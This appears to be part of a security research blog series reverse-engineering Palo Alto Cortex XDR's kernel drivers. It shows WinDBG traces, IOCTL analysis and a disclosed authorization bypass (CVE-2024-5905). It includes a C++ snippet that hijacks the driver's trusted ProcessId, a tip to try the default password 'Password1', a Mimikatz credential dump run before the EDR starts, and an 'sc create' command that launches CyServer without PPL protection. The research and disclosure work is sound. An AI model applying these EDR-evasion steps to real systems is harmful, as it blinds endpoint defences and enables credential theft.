2.1 \\.\PaloEdrControlDevice#

The dispatch function handling the Major Function code 0xe (Device IO Control) has ~20 cases (different IOCTLs). This offers a lot of functionality and consequently also attack surface.

Device IO Control Dispatch Function in Cortex

After testing some random IOCTLs from the decompiled code using the tool IOCTLplus, we noticed that most of the IOCTLs respond with “Access Denied”.

IOCTLplus showing Access denied

However, some IOCTLs responded differently

• 0x2260D8 returns 3088 bytes of binary data and does not require an input. We started to search for a client which calls this IOCTL because this should help understanding the data. The source code below shows that these are just statistics which can be printed using the CyTool.

IOCTLplus calling 0x2260D8

printf_0("%s = %I64d\n", "StatTakeTime", OutBuffer);
printf_0("%s = %I64d\n", "TimeIncrement", v8);
printf_0("%s = %I64d\n", "PerformanceFrequency.QuadPart", v9);
printf_0("%s = %I64d\n", "Providers.File.FsStreamHandleContextCount", v10);
printf_0("%s = %I64d\n", "Providers.File.FsStreamContextCount", v11);
printf_0("%s = %I64d\n", "Providers.File.FsStreamMaxContextCount", v12);
printf_0("%s = %I64d\n", "Providers.File.FileTotalMessagesSent", v13);
printf_0("%s = %I64d\n", "Providers.File.FileTotalRemoteFiles", v14);
printf_0("%s = %I64d\n", "Providers.File.FileTotalLocalFiles", v15);
printf_0("%s = %I64d\n", "Providers.File.FileNumTimesHashedOnClose", v16);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumBytesPurged", v17);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumBytesPurgedNewFile", v18);
printf_0("%s = %I64d\n", "Providers.File.HashStats.TotalNumBytesHashed", v19);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumHashOperations", v20);

Usage of returned data by 0x2260D8 from the decompiled code

• 0x2260D0 gives an interesting response (see below). What can be initialized and who can do it?

To understand how this function is invoked during startup, we set a breakpoint at the loading of tedrdrv.sys and subsequently another breakpoint at the dispatch function’s entry point. This was done to observe which IOCTLs are called by which processes after a Windows restart:

0: kd> sxe ld tedrdrv.sys
0: kd> g
nt!DebugService2+0x5:
fffff806`16c01015 cc              int     3
0: kd> bp tedrdrv+7E70 "k;!irp rdx detail" 
0: kd> g

[...]

>[IRP_MJ_DEVICE_CONTROL(e), N/A(0)]
            1  0 ffff970f85974e00 ffff970f8c77c380 00000000-00000000    
             \FileSystem\tedrdrv
                Args: 00000114 00000000 0x2260d0 00000000

3: kd> !thread @$thread 0x1f;
THREAD ffff970f8afd1080  Cid 0f28.11f8  Teb: 0000009c0fa7b000 Win32Thread: ffff970f8c99d720 RUNNING on processor 3
IRP List:
    ffff970f8a672480: (0006,0118) Flags: 00060070  Mdl: 00000000
Not impersonating
DeviceMap                 ffffaa08e5036180
Owning Process            ffff970f8ab97080       Image:         cyserver.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      1528           Ticks: 0
Context Switch Count      1700           IdealProcessor: 0             
UserTime                  00:00:03.250
KernelTime                00:00:00.265
Win32 Start Address cysvc!CySvcCommandLineHandler (0x00007ffb40f556c0)
Stack Init ffff9405d02ebc90 Current ffff9405d02eb3f0
Base ffff9405d02ec000 Limit ffff9405d02e6000 Call 0000000000000000
Priority 9 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP          RetAddr               Call Site
ffff9405`d02eb7f8 fffff802`6042a6b5     tedrdrv+0x7e70
ffff9405`d02eb800 fffff802`608164c8     nt!IofCallDriver+0x55
ffff9405`d02eb840 fffff802`608162c7     nt!IopSynchronousServiceTail+0x1a8
ffff9405`d02eb8e0 fffff802`60815646     nt!IopXxxControlFile+0xc67
ffff9405`d02eba20 fffff802`6060aab5     nt!NtDeviceIoControlFile+0x56
ffff9405`d02eba90 00007ffb`5232d1a4     nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff9405`d02ebb00)
0000009c`105fc7f8 00007ffb`51d4572b     ntdll!NtDeviceIoControlFile+0x14
0000009c`105fc800 00007ffb`52005611     KERNELBASE!DeviceIoControl+0x6b
0000009c`105fc870 00007ffb`3fbade9d     KERNEL32!DeviceIoControlImplementation+0x81
0000009c`105fc8c0 00007ffb`41e34900     cysvc!CySvcCommandLineHandler+0x10fe3d
0000009c`105fc8c8 00000000`00000000     cysvc!CySvcCommandLineHandler+0x23968a0

WinDBG Tracing IOCTLs in tedrdrv.sys

This revealed that cyserver.exe calls 0x2260D0 from cysvc.dll, using a buffer length of 0x114.

We debugged with WinDBG synced to IDA Pro with ret-sync to see what is happening. The IOCTL 0x2260D0 sets the ProcessID which is shown in the dispatch function above. Afterwards IOCTLs which compare this ProcessID can be called from the same process.

In the following screenshot, the red box hightlights calls made before Cyserver (the user-mode component from Cortex) was stopped and the green box shows calls afterwards. This shows that the ProcessId was successfully set to the one of IOCTLplus (see code below which checks the ProcessId for the IOCTL 0x2260DC).

Setting the ProcessID used in the dispatch function to the one of IOCTLplus after disabling Cyserver

case 0x2260DCu:
       if ( (HANDLE)IoGetRequestorProcessId(a2) != ProcessId )
         goto LABEL_34;
       if ( InputBufferLength < 0x6E )
         goto LABEL_99;
       v6 = IO_handle_2260DC_sub_122F20((__int64)IRP_SystemBuffer);
       goto LABEL_171;

tedrdrv.sys IOCTL 0x2260DC

To confirm this behavior during Windows startup, we compiled a small C++ project that opens the device and invokes this function. This program was initiated as a scheduled task.

hDevice = CreateFile(L"\\\\.\\PaloEdrControlDevice",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
[...]
bResult = DeviceIoControl(hDevice,
        0x2260D0,
        buf, 0x114,                       // no input buffer
        buf2, 0x114,                      // output buffer
        &junk,                            // # bytes returned
        (LPOVERLAPPED)NULL);

Code to open the device and call an IOCTL

This test was successful and the debugger showed that Cyserver itself got Access Denied errors for some IOCTLs because the ProcessId of the program above was initialized and not the one from Cyserver.

This suggests that a form of authorization bypass was achieved, concurrently blocking some Cortex functionalities. However, the implications remained unclear, as we could not determine if any harmful actions could be executed using the accessible IOCTLs. Furthermore, only specific IOCTLs could be bypassed. Others incorporate additional security checks in a separate driver, cyvrlpc.sys, utilized by multiple drivers. Cyvrlpc.sys exports shared functionalities; for example, cyvrlpc_35 (exported ordinal) implements supplementary security checks that cannot be circumvented using the aforementioned method.

This authorization bypass was reported to PaloAlto on September 12, 2023. A fix was published on June 12, 2024 as CVE-2024-5905.

After plenty of debugging and reverse engineering, we noticed that Cyvrlpc manages an (AVL) table with all processes. It registers the function PsSetCreateProcessNotifyRoutineEx and inserts each process in this table. Each entry has certain flags which indicate the permissions of the process for the drivers. All processes from Cortex itself have a certain bit set which no other process has set. This bit is checked in some cyvrlpc.sys functions. The flags are set in diferent functions and the whole process is rather complex. They are also influenced by another driver cyvrmtgn.sys which has an IOCTL for authentication purposes.

The AVL Table struct from IDA

0: kd>  !rtlavl cyvrlpc+5ECC0
NodeCounter - Node             (Parent,Left,Right)
   00000000 - ffff970f859cc410
(ffff970f859cc4d0,0000000000000000,0000000000000000)
   00000001 - ffff970f859cc4d0
(ffff970f85c70d50,ffff970f859cc410,ffff970f87cc1010)
   00000002 - ffff970f85ae32d0
(ffff970f87cc1010,0000000000000000,0000000000000000)
   [...]

Part of the AVL Table in WinDBG

We did not exactly reverse how each flag is set for each process. However, the one bit which is set for cyserver.exe and other Cortex processes is only set if the SID of the token from the calling process is “S-1-5-18” (SYSTEM) and at the same time the file path matches to one from Cortex such as:

\Device\HarddiskVolume4\Program Files\Palo Alto Networks\Traps\cyserver.exe

Checking the SID from the calling process in cyvrlpc.sys

Checking the file path of the calling process

Checking the file path of the calling process

At this point we stopped further looking into this and moved on. It would be interesting if the file path checking could be bypassed.

2.2 \\.\PANWEdrPersistentDevice11343#

There is one dispatch function for all Major Function codes. This function is pretty small and does not seem to have any interesting functionality.

2.3 \\.\CyvrMit#

The dispatch function which handles the Major Function code 0xe (Device IO Control) handles more than 35 different IOCTLs.

Device IO Control Dispatch Function of \\.\CyvrMit

The green boxes refer to some kind of access control flags which are set in the DISPATCH_CREATE (analogue to IRP_MJ_CREATE) function of this interface. This function is called when a handle to this driver interface is obtained. Additionally, the flags are set by an IOCTL which is used for authentication purposes (CyAuthenticate).

There is a significant advantage in analyzing this driver interface compared to the one above. The main binary that calls this interface is cyapi.dll, which is used by cyserver.exe among others. The exported function names of cyapi.dll are not stripped and most of them directly call an IOCTL of \\.\CyvrMit.

CyAuthenticate function of cyapi.dll

This is very helpful, as IOCTLs can be mapped to meaningful names. At the same time, other important arguments such as the input/output buffers and their length can be looked up. The following table shows some mapped functions that look interesting:

Regarding the access to those IOCTLs, it is similar compared to \\.\PaloEdrControlDevice. Some functions can be called from an arbitrary low privileged user process and some respond with access denied. The authorization model is similar and also relies at least for some part on cyvrlpc.sys. We did not manage to fully understand all aspects of this.

To observe the sequence of IOCTL calls, we traced all invocations by setting breakpoints at the start and end of the dispatch function. This setup allowed us to log the caller, the input/output buffer lengths, and the contents of these buffers:

3: kd> bp cyvrmtgn+5920 ".echo ##############NEW; !thread @$thread 1f; r
$t1=rdx; r $t1; !irp $t1 detail; .echo In-Buffer:; dps poi($t1+18); db
poi($t1+18);g;"

3: kd> bp cyvrmtgn+5c70 ".echo ##############END; !irp $t1 detail; .echo
Out-Buffer:; dps poi($t1+18); db poi($t1+18);g;"

WinDBG command to trace IOCTLs in dispatch function

The following is an extract of the output which shows a call to 0x226020 (CyAuthenticate) with the input 0x800. Generally, the first call is always to CyAuthenticate with a different input buffer depending on the required access.

##############NEW
Args: 00000000 00000010 226020 00000000
--
In-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

##############END
Out-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

The question arises: how does the driver determine which input parameters are accepted for which calling process?

We started to test this with the cytool which calls some of the IOCTLs for example when stopping the services. However, this requires a password which is set globally for the tenant to perform modifications.

TIP

Try the default password ‘Password1’ and you might be lucky

CyTool

Cytool also calls 0x226020 after entering the password. Now the Input-Buffer looks different:

Args: 00000000 00000010 0x226020 00000000
In-Buffer:
ffff970f`8ae4bec0  00000046`7df6fae0
ffff970f`8ae4bec8  00007ff6`0001ffff

3: kd> db 00000046`7df6fae0
00000046`7df6fae0  50 00 61 00 73 00 73 00-77 00 6f 00 72 00 64 00
P.a.s.s.w.o.r.d.
00000046`7df6faf0  31 00 00 00 5c 01 00 00-d8 28 b2 51 5c 01 00 00
1...\....(.Q\...

The first 8 bytes are always 0x0 if cyserver calls 0x226020. However, if called by the cytool a pointer to the password is sent. This means that there are two different ways how the authentication is handled.

This shows the password check inside cyvrmtng.sys

We wanted to know how the password hash is obtained against which the supervisor password is compared. Maybe it is retrieved from a place where it could be manipulated. There is also the function CyQueryServerPassword (0x2260C4). We ended up at some ALPC-communication over which the hash was sent. We’ve never touched ALPC before and therefore decided to have a look at it. Is it possible to spoof a communication partner to retrieve secret data or to send fake data? See Part 3.

Early Startup of Malware#

Malware can be started before the user-mode component of the EDR is fully started. This was tested with Cortex and it was possible to execute Mimikatz with lsadump::sam without being blocked. This was reported in combination with the ALPC vulnerability. The vendor did not respond to this issue. Other EDRs are potentially affected, too.

Launching CyServer (PaloAlto Cortex) without PPL#

If a new (second) service which launches Cyserver is created, the original service (which has startup dependencies) does no longer start. The new service configuration is not protected by the Cortex drivers and therefore the configuration can be adjusted. If name begins with “cyserver*” it is blocked.

sc create "fake_cyserver" binPath="C:\Program Files\Palo Alto Networks\Traps\cyserver.exe" start=auto

Cortex itself thinks that cyserver is stopped because the own service is stopped. However, the EDR still works. The cyserver.exe still has some self-protections in place but the attack surface is a larger compared to a PPL process.

This bypass was reported to PaloAlto on 12.09.2023. PaloAlto did not provide further information on this. It is unknown if a fix is implemented or planned.

This post continues with Part 3 which describes the ALPC DoS vulnerability and some final notes.